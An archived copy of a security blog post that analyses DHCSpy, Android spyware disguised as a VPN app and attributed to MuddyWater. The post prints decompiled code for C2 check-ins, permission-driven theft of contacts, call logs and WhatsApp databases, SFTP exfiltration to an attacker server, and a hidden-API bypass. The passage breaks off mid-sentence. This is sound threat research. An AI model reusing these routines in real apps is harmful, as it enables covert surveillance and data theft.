{
	"id": "571f8abb-2a99-4d48-a456-0958ab99bf30",
	"created_at": "2026-04-06T00:06:50.643541Z",
	"updated_at": "2026-04-10T13:11:35.05484Z",
	"deleted_at": null,
	"sha1_hash": "12a9542b083279b27263cb2c3b6c59b12cbc8881",
	"title": "Blog - DHCSpy - Discovering the Iranian APT MuddyWater",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 963330,
	"plain_text": "Blog - DHCSpy - Discovering the Iranian APT MuddyWater\r\nArchived: 2026-04-05 15:46:24 UTC\r\n29 sept. 2025\r\nRandorisec - Shindan\r\nAuthors: Paul (R3dy) Viard\r\nIn this article, we will deep dive into internals works and key components of a new sample of the DHCSpy\r\nAndroid spyware family, discovered by Lookout after the start of the Israel-Iran conflict. This malware is\r\ndeveloped and maintained by an Iranian APT : MuddyWater.\r\nAccording to MITRE ATT\u0026CK:\r\nMuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of\r\nIntelligence and Security (MOIS).\r\nA potential developer identifier was found after analyzing the compilation traces in the various libraries of the\r\nAPK : \" hossein \"\r\nWe were able to recover a sample of DHCSpy named Earth VPN. It was directly downloaded directly from this\r\nURL : hxxps://www[.]earthvpn[.]org , which is now down.\r\nOverview\r\nDHCSpy is a malicious spyware disguised as a VPN application, built on edited open-source OpenVPN code.\r\nThis design allows it to automatically run whenever the victim activates the VPN. Once active, the malware\r\noperates in the background, secretly collecting sensitive data such as WhatsApp files, contact lists, videos, and\r\nmore.\r\nDHCSpy was first discovered by\r\nLookout\r\non July 16, 2023. At the time of discovery, the malware was identified as Hide VPN. Subsequently, multiple\r\nvariants from the same spyware family emerged, including Hazrat Eshq, Earth VPN, and Comodo VPN.\r\nDuring the analyze of a sample of Comodo VPN, traces of an old test response from a command server indicated\r\nthat the malware has been in development since August 10, 2022.\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 1 of 31\n\nAccording to the Lookout report, the earliest known Earth VPN sample was obtained on July 20 2025, although\narchived snapshots from the Wayback Machine indicate that its distribution site had been active as early as\nMarch 2024.\nUnderstanding the Manifest\nPackage \u0026 SDK Targeting\nIn the manifest file, the `versionName` of the EarthVPN application is set to \"1.3.0\" , with a versionCode of\n4 . Its package name, com.earth.earth_vpn , using a common VPN-related naming conventions, suggest an\nattempt to impersonate a real VPN application.\nxml\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\nPage 2 of 31\n\n\u003c\nThis malware is still in development as we will see at the end of the article. Certain legit permissions, such as\nREQUEST_INSTALL_PACKAGES , can be used to download a malware update in order to add capabilities.\nxml\n\u003c\nDue to its nature, certain permissions are commonly used to ensure the VPN stays active and the malicious\nbehavior continues, such as POST_NOTIFICATIONS that lets application show notifications to the user.\nRECEIVE_BOOT_COMPLETED allows the application to start a background process or service automatically after the\ndevice finishes booting and WAKE_LOCK keep the CPU awake even when the screen is off.\nxml\n\nThis serves as an initial entry point to perform early-stage tasks to setup OpenVPN.\nxml\nAnother feature that can be abused by this Android malware is Deep Linking.\nThe exported activity com.p003bl.bl_vpn.activities.MainActivity is configured to intercept browsable\nHTTPS links to https://www.google.com/* via an intent filter.\nThis technique can be used in a malicious way to steal user information.Here an example from research by Lauritz\nand kun_19.\nAs a result, in case the end-user selects the malicious app, the sensitive OAuth credentials are sent to\nthe malicious app.\nIn this particular version of the malware, this feature is not utilized, as it will be demonstrated in the subsequent\nanalysis.\njava\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\nPage 4 of 31\n\nIn the following section, First Launch, we will analyze EarthVPN's behavior during its initial execution and\nuncover the techniques it uses to establish its VPN connection.\nFirst Launch\nOn its first execution, the DHCSpy sample immediately carries out a series of initialization steps, both to\nconfigure its VPN component and to prepare for systematic user data theft. The following section breaks down\nthese preparatory actions, revealing the underlying logic and techniques used by the malware authors.\nInternal VPN Service\nInside BaseActivity , It can be noted that the malware exhibits different behaviors on Xiaomi devices, as we will\nsee in section XIAOMI PART.\njava\nprotected void onCreate(Bundle bundle) {\nsuper.onCreate(bundle);\nLog.i(\"autostartpermission\", \"onCreate: \" + Autostart.INSTANCE.getAutoStartState(this));\nif (!showAutoStartPermissionDialog(this)) {\ninitServiceConnection();\nLog.d(\"##BaseActivity\", \"onCreate: addObserver\");\nregisterOpenVpnService();\n}\nsetContentView(getLayoutResource());\n}\nThe method initServiceConnection is used to talk to a background VPN service using AIDL (Android\nInterface Definition Language), which allows the application and the service to exchange information even if\nthey run in separate processes.\njava\nprivate void initServiceConnection() {\nif (this.serviceConnection != null) {\nreturn;\n}\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\nPage 5 of 31\n\nthis.serviceConnection = new ServiceConnection() {\r\n@Override\r\npublic void onServiceConnected(ComponentName componentName, IBinder iBinder) {\r\nBaseActivity.this.openVPNServiceInternal = IOpenVPNServiceInternal.Stub.asInt\r\ntry {\r\n} finally {\r\nBaseActivity.this.serviceConnected();\r\n}\r\n}\r\nTo function properly, a VPN application requires two mandatory initialization steps. Firstly, it establishes a\r\nconnection with its internal VPN service, which starts and binds to the background process that maintains the\r\nVPN tunnel.Secondly, the VPN Configuration defines how the VPN should connect (server, credentials, protocol,\r\nroutes, etc.).\r\nThis second steps will be discussed later in the article. First of all, to obtain the VPN configuration, the malware\r\nmust contact its C2 using the checkVpnState method, which is subsequently called in serviceConnected .\r\nRequest to C2\r\nFollowing the initialization, the next relevant step is the invocation of the init method inside\r\ncheckVpnState .This last method determines the VPN status and either proceeds to the main activity if an active\r\nVPN session is detected, or initiates a connection sequence.\r\njava\r\nprivate void checkVpnState() {\r\nif (VpnStatus.isVPNActive()) {\r\nintentMainActivity(this.currentServer);\r\n} else {\r\ninit();\r\n}\r\n}\r\nThe init() method sets up UI elements for a loading state and triggers a configuration request through\r\nConfigRepository.getConfig() . This request includes parameters such as command ID and connection time.\r\njava\r\nprivate void init() {\r\nNotificationCenter.getInstance().addObserver(this, NotificationCenter.didConfigReceived);\r\nthis.retry.setVisibility(8);\r\nthis.retryBtn.setVisibility(8);\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 6 of 31\n\nthis.mTxtServerAlert.setVisibility(0);\r\nthis.mLoadingProgressbar.setVisibility(0);\r\nLog.e(\"##Splash\", \"IIIIINNNNIIITTT(): get config: cmdID: \" + this.cmdID + \" connectedTime:\" +\r\nConfigRepository.getInstance(this).getConfig(\r\n\"\",\r\nnew String[]{this.cmdID},\r\nString.valueOf(this.connectedTime),\r\nString.valueOf(j),\r\n\"0\",\r\n\"0\",\r\n\"\"\r\n);\r\nthis.connectedTime = jCurrentTimeMillis;\r\n}\r\nDuring this phase, the malware gathers sensitive device-specific information using getConfigRequestModel .\r\nFor instance:\r\njava\r\nConfigRequestClientInfoModel configRequestClientInfoModel = new ConfigRequestClientInfoModel();\r\nconfigRequestClientInfoModel.setModel(Build.MODEL);\r\nconfigRequestClientInfoModel.setOs_name(\"Android\");\r\nThe data structure sent can be explain in 3 tables:\r\nRequest model\r\nConfigRequestClientInfoModel - Basic Device Fingerprint\r\nField Description\r\nmodel Device model\r\nos_name Always \"Android\"\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 7 of 31\n\nos_version Android SDK version\r\nnetwork_info Connection type: \"WIFI\" or \"MOBILE_DATA\"\r\ntimezone Device timezone\r\nlanguage System language\r\nConfigRequestBodyModel - Deep Sytem and Application Info\r\nField Description\r\nclient_info The nested object above\r\nIMSI_1 / IMSI_2 Subscriber IDs (can reveal SIM country/operator)\r\nSIM_1 / SIM_2 SIM card info (could include carrier, slot status)\r\npackage_name App's package ID (e.g., com.earth.earth_vpn )\r\napp_version App version installed (here 1.3.0)\r\nlanguage App UI language\r\novpn_id Possibly related to VPN configuration\r\ninputByteCount / outputByteCount Data usage counters\r\nupTime App/device uptime\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 8 of 31\n\nconnectedTime VPN or service connected time\r\npublicIP External IP address (via HTTP request)\r\nprivateIP Local IP address (via HTTP request)\r\nids Array of client IDs\r\ndata Extra data if needed, usually empty\r\nConfigRequestModel - Root Request\r\nField Description\r\nbody The full ConfigRequestBodyModel\r\nandroid_id Unique device ID (non-resettable unless factory reset)\r\nrequest_code Always \"100\", used by the C2 to distinguish request types\r\nlabel App or campaign-specific label\r\ndate Timestamp of the request in ISO 8601 format\r\nPOST request\r\nThis data is then sent using Retrofit, a type-safe HTTP client for Android. It simplifies communication with REST\r\nAPIs by turning HTTP request into Java method calls.\r\nA method getRetofit creates and returns a singleton Retrofit instance configured with a base URL (the C2\r\nconfiguration server).\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 9 of 31\n\njava\r\nRetrofit retrofitBuild = new Retrofit\r\n.Builder()\r\n.baseUrl(baseUrl)\r\n.addConverterFactory(GsonConverterFactory.create(new GsonBuilder().setLenient().create()))\r\n.addConverterFactory(ScalarsConverterFactory.create())\r\n.client(getUnsafeOkHttpClient()).build();\r\nretrofit = retrofitBuild;\r\nreturn retrofitBuild;\r\nThis base URL is obtained randomly between the two URL stocked inside com.p003bl.server_api.consts :\r\njava\r\npublic static String configUrlsJson = \"{\\\"array\\\" : [ \\\"https://r1.earthvpn.org:3413/\\\",\\\"https://r2\r\nThen, a POST request is sent to the randomly selected C2 configuration server.\r\njson\r\nPOST /api/v1 HTTP/1.1\r\nHost: r2.earthvpn.org:3413\r\nAccept: */ *\r\nAccept-Encoding: gzip, deflate, br\r\nContent-Type: application/json\r\nContent-Length: 513\r\nUser-Agent: okhttp/3.14.9\r\nConnection: keep-alive\r\n{\r\n \"android_id\": \"\u003cANDROID_ID\u003e\",\r\n \"body\": {\r\n \"app_version\": \"1.3.0\",\r\n \"client_info\": {\r\n \"language\": \"en\",\r\n \"model\": \"\u003cMODEL_NAME\u003e\",\r\n \"network_info\": \"\u003cNETWORK_NAME\u003e\",\r\n \"os_name\": \"Android\",\r\n \"os_ver\": \"34\",\r\n \"timezone\": \"\u003cTIMEZONE\u003e\"\r\n },\r\n \"connectedTime\": \"0\",\r\n \"data\": [],\r\n \"ids\": [null],\r\n \"IMSI_1\": null,\r\n \"IMSI_2\": null,\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 10 of 31\n\n\"inputByteCount\": \"0\",\r\n \"language\": \"en\",\r\n \"outputByteCount\": \"0\",\r\n \"ovpn_id\": \"\",\r\n \"package_name\": \"com.earth.earth_vpn\",\r\n \"privateIP\": \"\",\r\n \"publicIP\": \"-1\",\r\n \"SIM_1\": null,\r\n \"SIM_2\": null,\r\n \"upTime\": \"0\"\r\n },\r\n \"date\": \"\u003cDATE\u003e\",\r\n \"label\": \"3007\",\r\n \"request_code\": \"100\"\r\n}\r\nAfter sending the configuration request, the malware waits for a response from the C2 server. This response\r\ncontains key parameters needed to configure and initiate the VPN, as well as other operational instructions used to\r\ncontrol the application behavior.\r\nResponse from C2\r\nDirectly after receiving a response, the isServerDataReceived method extracts a configResponseModel used to\r\ncreate the VPN profile and prepare the malware behavior.\r\njava\r\npublic void isServerDataReceived(int i, Object... C2Response) {\r\nLog.d(\"##Splash\", \"isServerDataReceived: \");\r\nif (i == NotificationCenter.didConfigReceived) {\r\nif (C2Response != null \u0026\u0026 C2Response.length \u003e 0) {\r\ntry {\r\nConfigResponseModel configResponseModel = (ConfigResponseModel) new G\r\nThe data structure received is explained in tables below:\r\nResponse model\r\novpnModel - ovpn_list\r\nField Description\r\ntitle Name or label of the VPN\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 11 of 31\n\ncontent Base64-encoded .ovpn config content\r\npriority Possibly order of preference (0 = high?)\r\ndataModel - data\r\nField Description\r\novpn_list List of OpenVPN configuration objects\r\novpn_id Possibly the identifier of a profile\r\nexpiration_date Not set in this sample ( \"\" )\r\nconfigResponseBodyModel - body\r\nField Description\r\nmode Server Mode: \"error\", \"msg\", \"ovpn\", \"update\" \u0026 \"url\"\r\ndata The nested object above\r\norderModel - order\r\nField Description\r\ncode Permissions and Commands code\r\ndes Destination of the storage server (sftp)\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 12 of 31\n\npass Password for the archive containing the stolen data\r\nid Identifier for this \"order\"\r\nconfigResponseModel\r\nField Description\r\nbody The nested object above\r\norder The nested object above\r\nJSON Response\r\njson\r\n{\r\n \"response\": \"ok\",\r\n \r\n \"body\": {\r\n \"mode\": \"ovpn\",\r\n \"data\": {\r\n \"ovpn_list\": [\r\n {\r\n \"title\": \"Pf2-aroid vpn4\",\r\n \"content\": \"\u003cbase64_content\u003e\",\r\n \"priority\": \"0\"\r\n }\r\n ],\r\n \"ovpn_id\": \"//\",\r\n \"expiration_date\": \"\"\r\n }\r\n },\r\n \"order\": [\r\n {\r\n \"code\": \"0000000000010000\",\r\n \"id\": 8383515,\r\n \"des\": \"sftp://\u003cusername\u003e:\u003cpass\u003e@5.255.118.39:4793\",\r\n \"pass\": \"\u003czip_password\u003e\"\r\n }\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 13 of 31\n\n]\r\n}\r\nThe JSON response includes a mode field set to \"ovpn\" , indicating to the malware that the configuration data\r\nis located within the content field. The malware then parses this VPN payload, validates its parameters, and\r\nbuilds a temporary VPN profile, which is subsequently used to initiate the tunnel.\r\nVPN Configuration\r\nThe order field in the JSON response contains four mandatory pieces of information. These values are then\r\nwritten into a database file named dsbc.db , located in /data/data/com.earth.earth_vpn/databases/ .\r\njava\r\nif (code != null \u0026\u0026 code.length() \u003e= 16 \u0026\u0026 pass != null \u0026\u0026 pass.length() == 32 \u0026\u0026 des != null \u0026\u0026 des\r\nSQLiteDatabase writableDatabase = new CommandDbHelper(getApplicationContext()).getWritableDat\r\nCommandQueries.deleteCommands(writableDatabase);\r\nCommandQueries.insertCommand(\r\nwritableDatabase,\r\ncode,\r\npass,\r\ndes,\r\nid);\r\nwritableDatabase.close();\r\n}\r\nUsing the configResponseModel class, setOVPN method reads and decodes the base64-encoded OpenVPN\r\nconfiguration ( content field inside ovpn_list ).\r\njava\r\nServer ovpn = setOVPN(configResponseModel);\r\npublic Server setOVPN(ConfigResponseModel configResponseModel) {\r\ntry {\r\nArrayList ovpn_list = (ArrayList) new Gson().fromJson(\r\nconfigResponseModel\r\n.getBody()\r\n.getData()\r\n.getAsJsonObject()\r\n.get(\"ovpn_list\"), new TypeToken\u003cArrayList\u003cOvpnModel\u003e\u003e() {}.getType());\r\ntry {\r\nreturn Repository\r\n.getInstance()\r\n.makeServer(new String(Base64.decode(((OvpnModel) ovpn_list.get(0)).getConten\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 14 of 31\n\nThe sub-method makeServer retrieves the decoded OpenVPN configuration string and parses key parameters\r\nlike ip , port and country to populate a Server object. It should be noted that all recovered information are\r\nlogged on the device.\r\njava\r\npublic Server makeServer(String ovpnContent, String emptyString) throws IOException {\r\n \r\nwhile (true) {\r\nString line = content.readLine();\r\nif (line != null) {\r\nif (line.startsWith(\"remote \")) {\r\nLog.i(\"SERVER_TYPE\", \"server type: ip and port\");\r\nString[] strArrSplit = line.split(\" \");\r\nserver.setIp(strArrSplit[1]);\r\nserver.setPort(strArrSplit[2]);\r\n} else if (line.startsWith(\"cipher \")) {\r\nLog.i(\"SERVER_TYPE\", \"server type: cipher key\");\r\nserver.setCipher(line.split(\" \")[1]);\r\n} else if (line.startsWith(\"# country\")) {\r\nLog.i(\"SERVER_TYPE\", \"server type: country name\");\r\nserver.setCountry(line.split(\" \")[2]);\r\n}\r\nbyteArrayOutputStream.write(line.getBytes(), 0, line.getBytes().length);\r\nbyteArrayOutputStream.write(\"\\n\".getBytes());\r\n} else {\r\nserver.setContent(ovpnContent);\r\nserver.setFileName(emptyString);\r\nBase64.encode(byteArrayOutputStream.toByteArray(), 0);\r\nreturn server;\r\n}\r\n}\r\n}\r\nThe returned server object is then passed to intentMainActivity , which triggers the onCreate method of\r\nMainActivity.class . This activity stores the configuration and subsequently calls startVpn during the VPN\r\nstartup phase.\r\njava\r\nprivate void intentMainActivity(Server server) {\r\nIntent intentNewIntetn = MainActivity.newIntetn(this);\r\nif (server != null) {\r\nBundle bundle = new Bundle();\r\nArrayList\u003cString\u003e arrayList = new ArrayList\u003c\u003e(6);\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 15 of 31\n\narrayList.add(server.getIp());\r\narrayList.add(server.getPort());\r\narrayList.add(server.getCipher());\r\narrayList.add(server.getContent());\r\narrayList.add(server.getFileName());\r\narrayList.add(server.getCountry());\r\nbundle.putStringArrayList(\"server_config\", arrayList);\r\nintentNewIntetn.putExtras(bundle);\r\n}\r\nfinish();\r\nstartActivity(intentNewIntetn);\r\n}\r\npublic static Intent newIntetn(Context context) {\r\nreturn new Intent(context, (Class\u003c?\u003e) MainActivity.class);\r\n}\r\nUsing the code field received in the C2 response and then stocked inside a database, the malware dynamically\r\ndetermines which permissions it has to request from the user. These permissions are essential to enable further\r\nmalicious capabilities, such as accessing sensitive data or interacting with system components.\r\nRuntime Permissions\r\nThe RequestMultiplePermissions class is an Android ActivityResultContract used to request multiple\r\nruntime permissions from the user and return a map of each permission to a Boolean indicating whether it is\r\ngranted ( true ) or denied ( false ).\r\nThe onCreate method of MainActivity class retrieves an ImageView component, which visually represents\r\nthe VPN's power or toggle button. It assigns this view to the powerIcon class field for further reference.\r\nA click listener is attached to this button. When the user taps it, the buttonPowerClick(View view) method is\r\ninvoked. This function likely initiates or toggles the VPN connection logic, providing users with intuitive control\r\nover their secure connection status.\r\njava\r\nprotected void onCreate(Bundle bundle) {\r\nthis.requestPermissionListLauncher = registerForActivityResult(\r\nnew ActivityResultContracts.RequestMultiplePermissions(),\r\nnew ActivityResultCallback() {\r\n@Override\r\npublic final void onActivityResult(Object obj) {\r\nthis.f$0.switchVPN((Map) obj);\r\n}\r\n});\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 16 of 31\n\nImageView imageView = (ImageView) findViewById(C0686R.id.powerImage);\r\nthis.powerIcon = imageView;\r\nimageView.setOnClickListener(new View.OnClickListener() {\r\n @Override\r\n public final void onClick(View view) {\r\n this.f$0.wrpPowerClick(view);\r\n }\r\n});\r\nWhen the victim hit the powerIcon , powerClick is executed.\r\nThe command code is retrieved from the previously created database dsbc.db and used inside\r\nPermissionUtil.getPermissionList .This code is a string of 16 characters which can be either 1 or 0.\r\njava\r\npublic void powerClick() {\r\nConnectionState connectionState = this.mConnectionState;\r\nif (connectionState == ConnectionState.NO_PROCESS || connectionState == ConnectionState.EXITI\r\nCommandQueries.Command commandCheckGetCommand = checkGetCommand();\r\nString[] strArr = null;\r\ntry {\r\nList\u003cString\u003e permissionList = PermissionUtil.getPermissionList(commandCheckGe\r\nif (permissionList.size() \u003e 0) {\r\nstrArr = new String[permissionList.size()];\r\npermissionList.toArray(strArr);\r\nThis method interprets the last 10 characters of a string ( str ) to determine which Android permissions should be\r\nrequested. Each character corresponds to a specific permission (or set of permissions).\r\nFor instance:\r\njava\r\nmap.put(2, new ArrayList(Collections.singletonList(\"android.permission.READ_CONTACTS\")));\r\nmap.put(3, new ArrayList(Collections.singletonList(\"android.permission.READ_CALL_LOG\")));\r\nA correlation between the permissions requested and the capabilities of the application is available in section\r\nPermissions and Capabilities.\r\nThen, the permissions list in strArr is transferred to checkRuntimePermissions .This method checks\r\npermissions at runtime and requests any that have not yet been granted.\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 17 of 31\n\njava\npublic void checkRuntimePermissions(String[] permList) {\nArrayList permVerified = new ArrayList();\nfor (String str : permList) {\nif (str.length() \u003e 0 \u0026\u0026 ContextCompat.checkSelfPermission(this, str) != 0) {\npermVerified.add(str);\n}\n}\nif (permVerified.size() \u003e 0) {\nString[] strArr = new String[permVerified.size()];\npermVerified.toArray(strArr);\nthis.requestPermissionListLauncher.launch(strArr);\nreturn;\n}\nstartVpn();\n}\nOnce all necessary permissions are approved, the VPN is prepared and started.\nStart the VPN\nThe VPN is launched via the startVpn and prepareVpn methods, relying on the following manifest\nconfiguration, which registers a bound VPN service:\nxml\n\u003c\nThis service is a subclass of android.net.VpnService , enabling the application to create a VPN interface.\nFirstly, the malware checks whether VPN permissions have already been granted by invoking:\njava\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\nPage 18 of 31\n\nIntent intentPrepare = VpnService.prepare(this);\r\nIf user consent is still required, the application launches the system-managed VPN consent dialog:\r\njava\r\n if (intentPrepare != null) {\r\nstartActivityForResult(intentPrepare, 1000);\r\nreturn;\r\n}\r\nOnce the user grants permission (or if permission is already available), the VPN connection is initialized through:\r\njava\r\ntry {\r\nstartVpnInternal(this, this.currentServer.getContent(), \"\", \"\");\r\n}\r\nThe VPN configuration sent by the C2 earlier is parsed using the ConfigParser class and used to establish the\r\nVPN connection.\r\njava\r\nvoid startVpnInternal(Context context, String content, String str, String str2) throws RemoteExceptio\r\nconfigParser.parseConfig(new StringReader(content));\r\nVpnProfile vpnProfile = configParser.convertProfile();\r\nVPNLaunchHelper.startOpenVpn(vpnProfile, context, \"start openVpn by vector\");\r\n}\r\nPermissions and Capabilities\r\nThe core of the program resides in the modified OpenVPN package de.blinkt.openvpn.core . Several functions\r\nhave been added to integrate data theft capabilities into the VPN. For example, the runData method uses the\r\npreviously discussed command code , which contains the various permissions requested from the user, not only\r\nto request those permissions but also to trigger specific actions on the device.\r\nIn the snippet below, the same mechanism as in Runtime Permissions section is used to browse backwards the\r\ncode string (renamed bitfield in the code below).\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 19 of 31\n\njava\r\nprivate void runData(final String bitfield, final String pass) throws Throwable {\r\nStringBuilder sb;\r\nint i = 0;\r\ntry {\r\ntry {\r\ntry {\r\nif (bitfield.charAt(bitfield.length() - 1) == '1') {\r\nthis.commandCounter.incrementAndGet();\r\nfinal String string = Integer.toString(0);\r\ngetEmitterExecutor().schedule(new Runnable() {\r\n@Override\r\npublic final void run() {\r\nthis.f$0.lambda$runData$5(string, bitfield, p\r\n}\r\n}, 100L, TimeUnit.MILLISECONDS);\r\n \r\nFor instance, when triggered, lambda$runData$5 invokes a method from another class to execute the data theft\r\nroutine:\r\njava\r\npublic void lambda$runData$5(String index, String bitfield, String pass) {\r\ntry {\r\nthis.clientInfo.getClientInfo(getApplicationContext(), this, index, bitfield, pass);\r\n}\r\n}\r\nBy analyzing the functions invoked within runData , a correlation can be established between the permissions\r\nrequested and the capabilities of the application. This mapping is detailed in the table below:\r\nBit\r\nPosition\r\nPermission Running Function\r\n1 (LSB) // //\r\n2 // //\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 20 of 31\n\n3 // //\r\n4 // //\r\n5 // //\r\n6 // //\r\n7 READ_EXTERNAL_STORAGE Download - getFile\r\n8 READ_EXTERNAL_STORAGE\r\nRecordings -\r\ngetFile\r\n9 READ_EXTERNAL_STORAGE Camera - getFile\r\n10 READ_EXTERNAL_STORAGE\r\nScreenShots -\r\ngetFile\r\n11 READ_EXTERNAL_STORAGE WhatsApp - getFile\r\n12 getAppList\r\n13 GET_ACCOUNTS getAccount\r\n14 READ_CALL_LOG getCallog\r\n15 READ_CONTACTS getContact\r\n16 (MSB)\r\nREAD_PHONE_STATE ( SDK \u003e= 33 :\r\nREAD_PHONE_NUMBERS )\r\ngetClientInfo\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 21 of 31\n\nThe package name com.matrix.ctor handles function calls. Each folder contains a class that retrieves valuable\r\nfiles on the devices, compresses it into a ZIP archive secured with a password.\r\nFor example, the WhatsAppFile class, invoked via whatsAppFile.getFile , searches multiple paths to locate the\r\nencrypted WhatsApp conversation database. The class defines constants for different storage locations, including\r\nthe standard WhatsApp database ( msgstore.db.crypt14 ) and the WhatsApp Business variant\r\n( msgstore.db.crypt14 in com.whatsapp.w4b ).\r\njava\r\npublic class WhatsAppFile {\r\npublic static final String TYPE = \"WF\";\r\npublic static final String TYPE_WB = \"WBF\";\r\nprivate static final String WHATSAPP_DB_PATH = \"/storage/emulated/0/Android/media/com.whatsap\r\nprivate static final String WHATSAPP_DB_PATH2 = \"/storage/emulated/0/WhatsApp/Databases/msgst\r\nprivate static final String WHATSAPP_W4B_DB_PATH = \"/storage/emulated/0/Android/media/com.wha\r\nprivate static final String WHATSAPP_W4B_DB_PATH2 = \"/storage/emulated/0/WhatsApp Business/Da\r\nWhen the files are recovered and zipped, a callback is triggered to transfer the archive to the extraction routine.\r\nExfiltration\r\nThe OpenVPNService class acts as the central controller, implementing the various callback interfaces\r\ncorresponding to the application’s different capabilities (file theft, contact extraction, account enumeration).\r\nWhen a piece of information is successfully retrieved, such as a file, a contact list, or other targeted data, the\r\nresponsible class calls its sendFinish method. This method, which appears in multiple capability-specific\r\nclasses, serves as a generic way to signal that the data collection process is complete.\r\nsendFinish then invokes the appropriate callback method implemented by OpenVPNService , effectively passing\r\nthe stolen data back to the main service for further processing or exfiltration.\r\nFor instance:\r\njava\r\nprivate void sendFinish(ContactCallback contactCallback, File file) {\r\nif (this.isCancel.get()) {\r\nreturn;\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 22 of 31\n\n}\r\ncontactCallback.onFinishContact(file);\r\n}\r\nAt the end, the malware uses SFTP (SSH File Transfer Protocol) to upload its files.\r\njava\r\nSFTPUploaderService.getInstance().sendFiles(this.bPath, fileArr, strArr, new SFTPCallback() {\r\n@Override\r\npublic void finish() {\r\nLog.d(\"COMMAND\", \"$$$$$$$$$$finish\");\r\nsynchronized (OpenVPNService.this) {\r\nOpenVPNService.this.resultFiles.clear();\r\nOpenVPNService.this.resultFiles = null;\r\n}\r\nOpenVPNService.this.commandCounter.set(0);\r\nOpenVPNService.this.fileSenderTryCount.set(0);\r\nOpenVPNService.this.getConfig();\r\n}\r\nInspecting the application logs during execution reveals critical information about DHCSpy’s infrastructure,\r\nspecifically, credentials for accessing its secure File Transfer Protocol (SFTP) server.\r\ntxt\r\n ##BaseActivity: handleServerStates:\r\n[{\r\n\"code\":\"0000000000010000\",\r\n\"des\":\"sftp://\u003cusername\u003e:\u003cpass\u003e@\u003cIP\u003e:\u003cPORT\u003e\",\r\n\"id\":\"\u003cid\u003e\",\r\n\"pass\":\"\u003cpass_of_files\u003e\"\r\n}]\r\nThis log is produced by a call to Log.d in handleServerStates :\r\njava\r\nvoid handleServerStates(ConfigResponseModel configResponseModel) {\r\nGson gson;\r\nJsonElement data;\r\nArrayList arrayList;\r\nLog.d(\"##BaseActivity\", \"handleServerStates: \" + configResponseModel.getOrder());\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 23 of 31\n\nAutostart on Xiaomi device\r\nAs noted earlier, the malware’s startup behavior varies depending on the device brand. This variation may be\r\nlinked to market trends, as shown in the graph below, which highlights that in 2025, Xiaomi devices ranked\r\nsecond in sales in Iran.\r\nOn Xiaomi’s MIUI firmware, applications are by default prevented from registering for the BOOT_COMPLETED\r\nbroadcast (and similar startup hooks) unless the user explicitly “whitelists” them in settings. That’s not an Android\r\nstandard runtime permission, but a MIUI‐only toggle under “Autostart”.\r\nIn the BaseActivity class, during creation, the method showAutoStartPermissionDialog is called to check\r\nwhether the Autostart permission is enabled for the application:\r\njava\r\nif (!Build.MANUFACTURER.equalsIgnoreCase(Utils.BRAND_XIAOMI) || Autostart.INSTANCE.getAutoStartState\r\nreturn false;\r\n}\r\nThe method Autostart.INSTANCE.getAutoStartState(context) refers to a utility package created by\r\nKumaraswamy, named MIUI-Autostart ( xyz.kumaraswamy.autostart ).\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 24 of 31\n\nAccording to the github page, MIUI-Autostart is:\r\nA library to check MIUI autostart permission state.\r\nMIUI’s autostart flag resides in private, non-SDK APIs:\r\njava\r\nandroid.miui.AppOpsUtils\r\nmiui.content.pm.PreloadedAppPolicy\r\nThese APIs are not publicly available in the standard Android SDK.\r\nStarting with Android 9 (API level 28), Google began enforcing restrictions that block reflection-based access to\r\nnon-SDK interfaces.\r\nTo interact with MIUI’s internal autostart APIs, the autostart package relies on the AndroidHiddenApiBypass\r\nlibrary.\r\nThis library relies mainly on the Unsafe API. This is a very insecure class that allow developers to read and\r\nwrite memory in pure Java.\r\nUsing reflection, the developers can call Unsafe and use that instance to locate ART (Android Runtime) hidden\r\nAPI policy field and modify it.\r\njava\r\nHiddenApiBypass.addHiddenApiExemptions(\"\");\r\nThis call informs the system to disable filtering entirely, allowing access to all non-SDK methods (since the\r\nempty-string prefix matches everything).\r\nHere’s how it’s used in the library:\r\njava\r\npackage xyz.kumaraswamy.autostart;\r\nstatic {\r\nif (Build.VERSION.SDK_INT \u003e= 28) {\r\ntry {\r\nHiddenApiBypass.addHiddenApiExemptions(\"\");\r\n} catch (Exception unused) {\r\nLog.d(TAG, \"Failed to bypass API Exemption\");\r\n}\r\n}\r\n}\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 25 of 31\n\nWhen this static block is executed, the execution flow proceeds to the getAutoStartState method called\r\npreviously in BaseActivity .\r\nThis method searches the android.miui.AppOpsUtils class to invoke the getApplicationAutoStart method\r\nand retrieve 